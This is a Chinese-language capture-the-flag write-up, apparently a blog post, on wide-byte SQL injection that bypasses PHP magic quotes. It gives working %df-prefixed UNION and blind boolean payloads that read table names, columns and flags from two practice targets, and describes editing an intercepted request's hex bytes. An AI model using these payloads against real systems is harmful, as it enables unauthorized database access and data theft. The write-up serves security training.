您的位置:首页 > 其它

宽字节注入——魔术引号的绕过

2020-06-07 04:33 85 查看

宽字节注入

原理:由于魔术引号函数的存在magic_quotes_gpc(开关),会自动在’ “ \等前面加上一个\导致sql语句闭合不了,这时候我们就需要输入一些字符,让数据库实现误判,让转义字符\和我们输入的语句组成一个新的汉字来闭合语句。

靶场地址

第一题:

首先先在url栏输入’ and 1=2 %23
发现页面并没有变化,可能存在魔术引号,于是我在’前面添加一个%df重新输入代码

%df' and 1=2 --qwe


没有显示查询结果,于是判定为它的回显
接着,我们可以使用盲注的方法,先查询它的数据库名字长度,输入代码

%df' and length(database())>7 -- qwe

的时候的还有数据,但是输入

%df' and length(database())>8 -- qwe

就没有数据了,判定它的数据库长度是8个字节长

但是,我突然发现下面查询结果有字段名显示,于是我们直接查询数据库名,我们再尝试使用这串代码

%df' union select 1,database(),3 -- qwe

直接获取数据库名

接下来,就是简单的显错注入了,直接查询字段名,输入代码

%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe


查询到的表名:china_flag,user
继续查列名:但是由于存在魔术引号,我们需要把表名写成16进制
Id,C_Flag

输入代码

%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x6368696e615f666c6167 -- qwe


最后直接查flag

%df' union select 1,2,(select group_concat(C_flag) from china_flag)-- qwe

zKaQ-Wide,zKaQ-CAIK,zKaQ-Kzj+mz

第二题:
靶场地址
我们先尝试了一下万能密码

') or 1=1 -- qwe


在username输入代码

a') or 1=1 -- qwe

同时用抓包工具抓住

同时,修改Hex里的数据把代表a的61修改成df去和\组成一个字符

再放包

页面没有显示数据,代表我们输入的语句得到了执行,同时判定了它的回显是没数据,存在宽字节注入
于是,我们只能通过盲注
输入代码

汉') or length(database())>5 -- qwe

一直到

汉') or length(database())=8 -- qwe


判定数据库长度为8个字节
继续输入代码:

汉') or ascii(substr(database(),1,1))>90 -- qwe


逐个跑出数据库名
但是由于我们接下来不需要得到数据库名字,所以直接省略
我们继续输入代码,查询第一个表名的长度

汉') or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>10 -- qwe


依次找出所有表名china_flag
继续查字段名:

汉') or ascii(substr((select column_name from information_schema.columns where table_name=0x6368696e615f666c6167 limit 0,1),1,1))>10 -- qwe


查字段名
得出字段名第一个字符串ascii码值 是67
其他的几个字符以此类推
得出字段名 C_Flag

最后查数据
输入代码

汉') or ascii(substr((select C_Flag from china_flag limit 0,1),1,1))>10 -- qwe


得出flag
zKaQ-Kzj+mz

内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: